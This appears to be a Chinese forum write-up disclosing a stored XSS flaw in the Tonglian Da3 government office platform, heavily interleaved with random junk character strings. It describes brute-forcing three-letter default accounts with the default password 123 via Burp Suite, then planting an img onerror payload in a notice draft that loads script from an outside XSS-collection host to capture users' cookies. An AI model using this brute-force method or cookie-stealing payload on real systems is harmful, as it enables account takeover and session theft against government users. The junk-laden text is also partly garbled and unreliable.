同联Da3协同办公平台后台通用储存型xss漏洞

admin

- H5 ^$ N& w8 [/ ?" Q0 u & k& L+ k6 ?% r( c# D 1 O+ g8 N/ C6 I7 F J ; s1 z; b6 p% f7 g w * m7 P Q% V/ Q0 _. e2 ^7 q `3 p$ g5 s1 u) v% l! p* a) [, l

8 g* ~& W1 A# y: K

9 m: e5 k* t, ~/ }% C 同联Da3协同办公平台后台通用储存型xss漏洞

9 R' `* ^/ {" |0 Q

2 x$ y3 L$ ~! |* X4 [: z% ^, I 平台简介： 1 W7 S, V% ^! N3 l+ P

7 m0 M' K0 U! M2 g0 W

 

5 J& n& Z- G6 M' V

: t: l Q C2 A* N 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
) ^" _; j7 x# p1 j同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 4 ] P0 M$ r/ @

) @2 r. g+ ?8 K7 B: X( K

 

# z& E/ Z9 O) ]/ w* ]; I B% l 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 7 O+ L( `6 }% r3 ^" ^

 

J+ n) Y) m, w" x# O8 P http://1.1.1.1:7197/cap-aco/#（案例2-）

http://www.XXOO.com （案例1-官网网站） 4 E; M* N# z' w

2 q$ f2 o. P/ f+ M! ?; p; v 漏洞详情:

' z ^, Y" h' F8 E* w

- d5 z; f) j* o \  案例一、 ( ^9 q X* L) f7 ]" ]6 z* Z

, ^: w. x0 Z! x+ E6 ?" t7 S

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 2 R: g$ m8 _" p- \9 {/ ^0 p- Y5 |

' K4 J! Z3 ^) X- r* E

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 6 V" Y8 Z' U! |& N1 k9 b

* B _0 o% S" P8 ^4 A9 D   : Z: x% @; u3 j n7 a$ l. j6 g

. B+ S* c8 D. E6 s

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

+ Z/ ?1 R. H. v1 a6 T& U I   & R1 i% g3 C5 G7 h q1 S: f9 G

8 d* S" p1 m4 O) u1 |& G, \3 v2 u

b0 E3 g9 s% v; K

- [. p( \. ?* c* t5 i3 { 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 , ^4 T4 n5 y- Q) V+ V

  1 E- O% b K9 X' q2 m% `8 F

9 k. D6 U: _+ G- j' T: v9 A! A <img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

9 N) g @# a; G0 i # E; c1 f! u0 }& o

$ R3 Y; J0 T1 Q$ h9 ~; Q5 A: p

/ A# m: Q+ g/ U/ B) y 然后发送，接收cookie如图： , O- `$ p! ?* s; S. a

7 \! q# O& w$ T$ ]2 t/ |# F

" S$ u7 _4 A3 D' Y3 B  

m2 w6 T7 i" z5 o; W: }

  . g; v# C8 g, z+ O* m! M

& |% h; y( A8 v4 U. U; D  

! T9 \' t, {3 K$ K3 b$ b

 

& @9 m& t6 a+ O2 l( B4 }; |3 x

8 e o5 N+ ?3 w$ M & `" _+ w Q# R! `0 P6 G

4 m6 |% f, K8 }. t

: p: ~ x7 y# R

j+ @9 x9 `+ K) V2 q) y: U

 

案例2、 # G$ n3 }' N6 ~8 I$ u5 m

" w% `: }0 a" H4 o 前面步骤都一样，下面看效果图：

/ q# p2 i4 p& g( t4 [+ T [

+ Z* L7 g8 @/ X; w* ], i! g3 l

) W% v/ D$ r! w4 p; w' b

G( b& s7 _% i9 m8 R6 Y8 F$ L2 l

& x' G0 }0 U, T G% E  

* `3 r* C( G% V' A( ]1 @( ]   ' v* v _; v3 S

5 W; y( M; l: U2 S

0 j( m: ]9 s& D' W. T8 Y' ?( W& I

3 C: N1 D* b' ]! k+ m- B* b

  ( H9 H" [$ K- U y+ f$ C4 D9 x

  7 x' _+ F5 `. H8 Y: c4 A1 a

5 O) C& U5 N; `; G4 A6 E H  

$ P% C- B* T7 X" N% e